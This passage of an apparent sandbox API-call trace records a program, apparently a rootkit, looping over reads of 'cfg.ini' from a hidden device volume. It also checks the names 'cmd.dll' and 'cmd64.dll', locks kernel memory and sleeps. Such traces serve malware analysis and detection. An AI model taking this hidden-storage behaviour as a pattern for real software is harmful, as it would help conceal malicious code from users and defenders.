Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.514] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.514] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.514] IdePortDispatch () returned 0x103 [0119.514] KeWaitForMutexObject () returned 0x0 [0119.514] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.514] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.514] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.514] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.514] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.514] IdePortDispatch () returned 0x103 [0119.514] KeWaitForMutexObject () returned 0x0 [0119.514] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.514] KeLeaveCriticalRegion () [0119.514] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.515] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.515] KeEnterCriticalRegion () [0119.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.515] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.515] KeLeaveCriticalRegion () [0119.515] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.515] KeEnterCriticalRegion () [0119.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.515] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.515] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdaa30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.515] KeLeaveCriticalRegion () [0119.515] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.515] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.515] KeEnterCriticalRegion () [0119.515] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.515] ExFreePoolWithTag (P=0xfffffa8003bdbb50, Tag=0x0) [0119.515] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.515] KeLeaveCriticalRegion () [0119.515] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.515] ReleaseMutex (hMutex=0xf0) returned 1 [0119.515] Sleep (dwMilliseconds=0x124f80) [0119.529] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.529] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.529] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.529] KeEnterCriticalRegion () [0119.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.529] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.529] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.529] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.529] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.529] IdePortDispatch () returned 0x103 [0119.529] KeWaitForMutexObject () returned 0x0 [0119.529] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.529] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.529] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.529] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.529] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.529] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa1a40 [0119.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.529] KeLeaveCriticalRegion () [0119.529] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.529] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.529] KeEnterCriticalRegion () [0119.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.529] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.530] KeLeaveCriticalRegion () [0119.530] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.530] KeEnterCriticalRegion () [0119.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.530] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.530] IdePortDispatch () returned 0x103 [0119.530] KeWaitForMutexObject () returned 0x0 [0119.530] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.530] KeLeaveCriticalRegion () [0119.530] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.530] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.530] KeEnterCriticalRegion () [0119.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.530] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da2000 [0119.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.530] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.530] IdePortDispatch () returned 0x103 [0119.530] KeWaitForMutexObject () returned 0x0 [0119.530] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.530] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.530] IdePortDispatch () returned 0x103 [0119.531] KeWaitForMutexObject () returned 0x0 [0119.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.531] KeLeaveCriticalRegion () [0119.531] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.531] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.531] KeEnterCriticalRegion () [0119.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.531] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.531] KeLeaveCriticalRegion () [0119.531] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.531] KeEnterCriticalRegion () [0119.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.531] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.531] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.531] KeLeaveCriticalRegion () [0119.531] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.531] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.531] KeEnterCriticalRegion () [0119.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.531] ExFreePoolWithTag (P=0xfffffa8003aa1a40, Tag=0x0) [0119.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.532] KeLeaveCriticalRegion () [0119.532] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.532] ReleaseMutex (hMutex=0xf0) returned 1 [0119.532] Sleep (dwMilliseconds=0x124f80) [0119.547] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.547] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.547] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.547] KeEnterCriticalRegion () [0119.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.547] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.547] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.547] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.547] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.547] IdePortDispatch () returned 0x103 [0119.547] KeWaitForMutexObject () returned 0x0 [0119.547] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.547] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.547] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.547] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.547] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.547] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bda7d0 [0119.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.548] KeLeaveCriticalRegion () [0119.548] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.548] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.548] KeEnterCriticalRegion () [0119.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.548] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.548] KeLeaveCriticalRegion () [0119.548] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.548] KeEnterCriticalRegion () [0119.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.548] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.548] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.548] IdePortDispatch () returned 0x103 [0119.548] KeWaitForMutexObject () returned 0x0 [0119.548] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.548] KeLeaveCriticalRegion () [0119.548] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.548] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.548] KeEnterCriticalRegion () [0119.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.548] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da7000 [0119.548] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.548] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.548] IdePortDispatch () returned 0x103 [0119.549] KeWaitForMutexObject () returned 0x0 [0119.549] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.549] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.549] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.549] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.549] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.549] IdePortDispatch () returned 0x103 [0119.549] KeWaitForMutexObject () returned 0x0 [0119.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.549] KeLeaveCriticalRegion () [0119.549] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.549] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.549] KeEnterCriticalRegion () [0119.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.549] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.549] KeLeaveCriticalRegion () [0119.549] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.549] KeEnterCriticalRegion () [0119.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.550] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.550] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bda890, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.550] KeLeaveCriticalRegion () [0119.550] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.550] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.550] KeEnterCriticalRegion () [0119.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.550] ExFreePoolWithTag (P=0xfffffa8003bda7d0, Tag=0x0) [0119.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.550] KeLeaveCriticalRegion () [0119.550] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.550] ReleaseMutex (hMutex=0xf0) returned 1 [0119.550] Sleep (dwMilliseconds=0x124f80) [0119.563] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.563] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.563] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.563] KeEnterCriticalRegion () [0119.563] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.563] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.563] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.563] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.564] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.564] IdePortDispatch () returned 0x103 [0119.564] KeWaitForMutexObject () returned 0x0 [0119.564] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.564] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.564] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.564] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.564] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.564] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcbe50 [0119.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.564] KeLeaveCriticalRegion () [0119.564] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.564] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.564] KeEnterCriticalRegion () [0119.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.564] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.564] KeLeaveCriticalRegion () [0119.564] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.564] KeEnterCriticalRegion () [0119.564] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.564] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.564] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.564] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.564] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.564] IdePortDispatch () returned 0x103 [0119.564] KeWaitForMutexObject () returned 0x0 [0119.564] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.564] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.564] KeLeaveCriticalRegion () [0119.565] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.565] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.565] KeEnterCriticalRegion () [0119.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.565] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dac000 [0119.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.565] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.565] IdePortDispatch () returned 0x103 [0119.565] KeWaitForMutexObject () returned 0x0 [0119.565] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.565] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.565] IdePortDispatch () returned 0x103 [0119.565] KeWaitForMutexObject () returned 0x0 [0119.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.565] KeLeaveCriticalRegion () [0119.565] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.566] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.566] KeEnterCriticalRegion () [0119.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.566] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.566] KeLeaveCriticalRegion () [0119.566] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.566] KeEnterCriticalRegion () [0119.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.566] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.566] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.566] KeLeaveCriticalRegion () [0119.566] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.566] _snprintf 